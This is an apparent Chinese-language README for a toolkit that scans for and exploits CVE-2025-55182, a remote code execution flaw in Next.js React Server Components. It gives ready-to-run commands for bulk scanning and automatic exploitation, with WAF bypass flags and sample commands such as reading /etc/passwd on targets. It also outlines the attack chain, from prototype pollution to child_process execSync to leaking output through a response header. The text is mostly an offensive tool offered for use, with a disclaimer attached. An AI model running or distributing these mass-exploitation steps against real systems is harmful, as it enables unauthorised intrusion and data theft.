CVE-2025-55182 的自动化检测与利用工具包,该漏洞是 Next.js React Server Components 中的一个严重 RCE 漏洞。具备多层指纹识别、WAF 绕过以及批量扫描功能,适用于渗透测试。
一个全面的安全研究工具,用于测试 Next.js React Server Components 远程代码执行漏洞(CVE-2025-55182)。
该工具包为 CVE-2025-55182 提供自动化检测与利用能力,CVE-2025-55182 是一个影响使用 React Server Components 的 Next.js 应用程序的严重 RCE 漏洞。该工具包包含三个集成组件:
requests 库pip3 install requests
git clone https://github.com/yourusername/CVE-2025-55182-poc-tool.git
cd CVE-2025-55182-poc-tool
chmod +x exploit.sh auto_exploit.sh
扫描并利用目标的最快方式:
# Create a file with target URLs (one per line)
echo "https://example.com" > targets.txt
# Auto-scan and exploit in one command
./auto_exploit.sh -i targets.txt -s -c "id"
识别 Next.js 应用程序但不进行利用:
python3 NextApp.py targets.txt
输出文件:
confirmed_nextjs_targets.txt - 所有检测到的 Next.js 应用程序high_confidence_nextjs_targets.txt - 仅高置信度检测结果测试单个目标:
# Basic exploitation
./exploit.sh -d https://target.com -c "whoami"
# With WAF bypass
./exploit.sh -d target.com -c "cat /etc/passwd" -w
# Custom WAF bypass size
./exploit.sh -d target.com -c "ls -la" --waf-bypass --waf-size 256
# Skip SSL verification
./exploit.sh -d https://target.com -c "id" -k
./auto_exploit.sh -i targets.txt -s -c "whoami"
# Step 1: Detect Next.js applications
python3 NextApp.py targets.txt
# Step 2: Exploit confirmed targets
./auto_exploit.sh -c "id"
# Full auto-scan with WAF bypass
./auto_exploit.sh -i targets.txt -s -w --waf-size 256 -c "whoami"
# Custom delays and timeouts
./auto_exploit.sh -i targets.txt -s --delay 5 --timeout 30 -c "id"
# Skip SSL verification in bulk mode
./auto_exploit.sh -i targets.txt -s -k -c "hostname"
python3 NextApp.py <targets_file>
参数:
targets_file - 包含目标 URL 的文本文件(每行一个)./exploit.sh [OPTIONS]
选项:
./auto_exploit.sh [OPTIONS]
选项:
由 NextApp.py 生成 - 包含所有被识别为 Next.js 应用程序的 URL。
由 NextApp.py 生成 - 仅包含高置信度 Next.js 检测结果(置信度评分 100+)。
由 auto_exploit.sh 生成 - 全面的利用报告,包括:
扫描器使用多种检测技术并配合置信度评分系统:
x-nextjs-*、x-vercel-*x-powered-by: Next.js__NEXT_DATA__ 存在(100分)_next/* 资源路径(根据数量25-75分)__NEXT_DATA__、__NEXT_LOADED_PAGES__middlewareManifest、self.__RSC_MANIFEST置信度阈值:
该利用程序利用 Next.js React Server Components 中的原型链污染链:
__proto__ 链_response._prefix 注入任意 JavaScriptprocess.mainModule.require('child_process').execSync() 执行命令X-Action-Redirect 标头中提取结果该工具包包含内置的 WAF 绕过能力:
使用 -w 或 --waf-bypass 标志启用。
# Create target list
cat > targets.txt << EOF
https://app.example.com
https://dashboard.example.com
https://admin.example.com
EOF
# Run unified scan
./auto_exploit.sh -i targets.txt -s -c "whoami"
# Check results
cat exploit_results.txt
./exploit.sh -d https://target.com -c "cat /etc/passwd" -w --waf-size 256
# Step 1: Detect and filter
python3 NextApp.py targets.txt
# Step 2: Exploit high-confidence only
./auto_exploit.sh -i high_confidence_nextjs_targets.txt -c "id"
本工具仅供授权安全测试和研究使用。使用者必须:
未经授权访问计算机系统是违法的。 作者不对滥用本工具承担任何责任。
感谢发现并披露此漏洞的安全研究人员:
欢迎贡献!请:
如有问题、疑问或功能请求,请在 GitHub 上提交 issue。
本项目仅用于教育和授权安全测试目的。请负责任地、合乎道德地使用。
| 选项 | 描述 | 默认值 |
|---|
-d, --domain | 目标域名/URL | http://localhost:3000 |
-f, --file | 包含目标列表的文件 | - |
-c, --command | 要执行的命令 | id |
-w, --waf-bypass | 启用 WAF 绕过 | 已禁用 |
--waf-size SIZE | WAF 绕过数据大小 (KB) | 128 |
--timeout SECONDS | 请求超时时间 | 15 |
-k, --insecure | 跳过 SSL 验证 | 已禁用 |
--user-agent AGENT | 自定义 User-Agent | Mozilla/5.0... |
-h, --help | 显示帮助信息 | - |
| 选项 | 描述 | 默认值 |
|---|
-i, --input FILE | 输入目标文件 | confirmed_nextjs_targets.txt |
-o, --output FILE | 输出结果文件 | exploit_results.txt |
-c, --command CMD | 要执行的命令 | id |
-w, --waf-bypass | 启用 WAF 绕过 | 已禁用 |
--waf-size SIZE | WAF 绕过大小 (KB) | 128 |
--timeout SECONDS | 请求超时时间 | 15 |
-k, --insecure | 跳过 SSL 验证 | 已禁用 |
--delay SECONDS | 请求之间的延迟 | 2 |
-s, --scan | 先自动扫描 Next.js | 已禁用 |
-h, --help | 显示帮助信息 | - |